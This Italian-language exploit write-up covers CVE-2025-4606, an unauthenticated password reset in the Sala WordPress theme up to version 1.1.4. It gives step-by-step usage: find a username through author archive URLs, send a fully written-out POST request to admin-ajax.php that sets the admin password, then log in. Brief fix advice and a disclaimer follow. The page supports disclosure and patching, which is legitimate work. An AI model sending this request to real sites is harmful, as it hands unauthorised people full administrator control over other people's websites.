CVE-2025-4606 – Tema Sala per WordPress <= 1.1.4 – Escalation di Privilegi Non Autenticata tramite Reset Password/Account Takeover

🔥 Riepilogo della Vulnerabilità
Il tema WordPress Sala versioni <= 1.1.4 è vulnerabile a una vulnerabilità di escalation dei privilegi non autenticata. Questo difetto consente ad attaccanti non autenticati di reimpostare le password di utenti arbitrari — inclusi gli amministratori — invocando direttamente un endpoint AJAX esposto senza verificare l'identità del richiedente.

Questa vulnerabilità deriva dalla funzione change_password_ajax registrata su wp_ajax_nopriv_, che imposta una nuova password per qualsiasi login utente valido senza verificare se la richiesta è autorizzata.

🔍 Tema Affetto

• Nome Tema: Sala – Startup & SaaS WordPress Theme
• Versione Affetta: <= 1.1.4
• Tipo di Vulnerabilità: Escalation di Privilegi Non Autenticata
• CVE ID: CVE-2025-4606
• Punteggio CVSS: 9.8 (Critico)
• Impatto: Presa di Controllo Completa dell'Account (Incluso Admin)

🧪 Caratteristiche dell'Exploit

• 🔓 Nessuna autenticazione richiesta
• 🔄 Sovrascrive la password di qualsiasi utente fornendo un nome di login valido
• 📬 Prende di mira l'endpoint AJAX /wp-admin/admin-ajax.php?action=change_password_ajax
• 🧠 Funziona istantaneamente se l'attaccante conosce un nome utente valido (es., admin)

🧠 Ricercatore

• Crediti: Thai An

🚀 Utilizzo

1. Identifica un nome utente valido sul sito WordPress di destinazione. Puoi farlo controllando:

   • URL pubblici degli archivi autore (/author/username)

2. Crea la seguente richiesta POST per reimpostare la password dell’utente:

   root@kitploit:~

   POST /wp-admin/admin-ajax.php HTTP/1.1
   Host: targetsite.com
   Content-Type: application/x-www-form-urlencoded
   
   action=change_password_ajax&login=admin&new_password=hacked123
   

3. Se ha successo, ora puoi accedere come utente target usando la nuova password (hacked123 nell'esempio sopra).

4. Visita /wp-login.php e verifica l'accesso.

🛠 Raccomandazioni per la Correzione

• Gli sviluppatori del tema dovrebbero rimuovere o proteggere l'hook wp_ajax_nopriv_change_password_ajax.
• Controllare sempre is_user_logged_in() e verificare l'identità dell'utente prima di consentire azioni sensibili.
• Implementare controlli nonce per prevenire CSRF e abusi non autenticati.

🔒 Dichiarazione di esclusione di responsabilità:
Queste informazioni sono fornite solo a scopo educativo e per test di penetrazione autorizzati. Lo sfruttamento non autorizzato dei sistemi è illegale e non etico.

📚 Riferimento:

• Wordfence Advisory